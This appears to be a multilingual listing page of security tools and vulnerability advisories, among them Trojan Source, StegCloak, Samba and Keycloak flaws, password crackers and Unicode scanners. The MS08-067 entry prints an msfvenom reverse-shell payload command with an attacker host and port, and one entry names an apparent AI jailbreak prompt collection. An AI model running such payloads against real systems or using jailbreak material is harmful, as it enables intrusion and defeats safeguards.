CVE-2026-1337

CVE-2026-1337 - Neo4j - Inyección de logs Un usuario autenticado puede realizar inyección de logs en el query.log de Neo4j cuando Neo4j no está configurado para usar formato json. Resumen Neo4j no escapa los caracteres de control en el campo de metadatos cuando forma parte de una transacción bolt...

stegcloak

StegCloak The Cloak of Invisibility for your texts StegCloak is a pure JavaScript steganography module designed in functional programming style, to hide secrets inside text by compressing and encrypting the secret before cloaking it with special unicode invisible characters. It can be used to...

stegcloak

StegCloak 你的文本隐形斗篷 StegCloak 是一个纯 JavaScript 的隐写术模块，采用函数式编程风格设计，通过压缩和加密秘密信息，然后利用特殊的 Unicode 不可见字符将其隐藏在文本中。它可以安全地用于水印字符串、网页上的不可见脚本、社交媒体文本或其他任何隐蔽通信。完全不可见！通过这篇 Medium 文章详细了解其工作原理，或观看我们的演示以了解其功能。 特性 使用密码和 HMAC 完整性保护您的不可见秘密 通过使用 AES-256-CTR 加密不可见秘密，实现密码学安全 使用 6 个 Unicode...

CVE-2021-42574

Trojan Source:Invisible Vulnerabilities - Code generator — 简而言之，该漏洞指的是代码的显示形式与其编译后的形式不同（： 攻击利用嵌入在注释和字符串中的控制字符，重新排列源代码的字符，从而改变其逻辑。 例如，假设代码如下： if isAdmin / begin admins only / 通过利用此漏洞，我们可以在编译后将其变成： / if isAdmin begin admins only / 注意：大多数语言都受到影响，其中包括 Rust 版本低于 1.56.0 的 rustc。 好的阅读资源：...

CVE-2026-74909

Keycloak provides a policy enforcer to protect applications by matching incoming web requests against defined security policies. A flaw was found where the enforcer fails to correctly normalize web addresses that contain special encoded characters, such as those representing semicolons or directo...

EUVD-2026-80829

Keycloak provides a policy enforcer to protect applications by matching incoming web requests against defined security policies. A flaw was found where the enforcer fails to correctly normalize web addresses that contain special encoded characters, such as those representing semicolons or directo...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 至 3.0.25rc3 版本存在远程命令注入漏洞（CVE-2007-2447），允许远程攻击者通过指定包含 shell 元字符的用户名来执行任意命令。...

shiro-cve-2020-17523

Análisis de dos métodos para evadir la autenticación en Apache Shiro CVE-2020-17523 0x01 Descripción de la vulnerabilidad Apache Shiro es un framework de seguridad Java potente y fácil de usar que realiza autenticación, autorización, gestión de contraseñas y sesiones. Con la API fácil de entender...

bidi-guard

bidi-guard Escanea código en busca de caracteres Unicode bidireccionales invisibles Por Qué Existe Esto Los caracteres Unicode bidireccionales invisibles pueden hacer que el código fuente se muestre de forma distinta a como se ejecuta. Esto es CVE-2021-42574 — el ataque Trojan Source. Un atacante...

MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

reflector

reflector Description Burp Suite extension is able to find reflected XSS on page in real-time while browsing on web-site and include some features as: Highlighting of reflection in the response tab. Test which symbols is allowed in this reflection. Analyze of reflection context. Content-Type...

CVE-2026-84439

When audit logging is enabled zookeeper.audit.enable=true, an unauthenticated attacker can inject arbitrary fields into Apache ZooKeeper's audit log by sending a digest authentication request with tab characters \t embedded in the username. Because the audit log uses tab-separated key=value forma...

L1B3RT4S

L1B3RT45...

weakpass

Weakpass Here, you can find the list of tools and example of API server from weakpass.com for password and hash cracking in one place. 📂 Folder Structure tools A collection of password and hash cracking tools. Check them out: Kraker-js Lookup Passcheck Passgen libs Links to the libraries used in...

sharesniffer

sharesniffer sharesniffer is a network analysis tool for finding open and closed file shares on your local network. It includes auto-network discovery and auto-mounting of any open cifs and nfs shares. How to use Example to find all hosts on any local network with open/closed nfs/smb shares:...

SafeText

SafeText 用于净化文本的工具，通过移除零宽字符和同形异义字，确保来自匿名来源的文档能够安全分发。 试图泄露电子邮件或其他文本文件的个人，面临通过指纹识别被鉴别的风险。指纹识别通常发生在原始文档分发者嵌入了某种形式的“金丝雀”时。例如，埃隆·马斯克在2008年针对泄密事件的邮件中，为每位员工提供了略有不同的措辞。这一策略被员工识破并失败。另一种同样被使用的更简单策略，是在文本中嵌入几乎不可见的修改。SafeText旨在识别并移除这些修改。 具体来说，该工具将移除同形异义字、零宽字符以及其他隐蔽字符。该工具还会尝试识别可能暴露个人所在位置的独特单词拼写。 用法...

CVE-2026-68531 Concrete CMS below 9.5.3 is vulnerable to Authenticated Denial of Service via Unescaped SQL LIKE Wildcards in Keyword Search

Concrete CMS 9 before 9.5.3 did not escape SQL LIKE wildcard characters in the keyword search filters used by the file manager, file folders, and page list, allowing an authenticated user with editor-level or higher privileges to submit a crafted search containing many single-character wildcards...

CVE-2026-69211

Http4s is a Scala library for HTTP services. Prior to 0.23.35 and 1.0.0-M47 , the ResponseCookie.render method writes attacker-influenced name, content, domain, path, and extension values without neutralizing semicolons or control characters. An application that constructs a ResponseCookie from u...

CVE-2026-91986

gitoxide gix-transport before 0.59.2 fails to filter control characters in git-daemon connect requests, allowing attackers to inject NUL/CR/LF bytes via crafted git URLs. Attackers can inject extra NUL-delimited protocol fields to spoof virtual hosts or inject newlines into daemon requests and lo...

CVE-2026-16673

IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary OS commands due to improper neutralization of special characters in the PxPeek name property...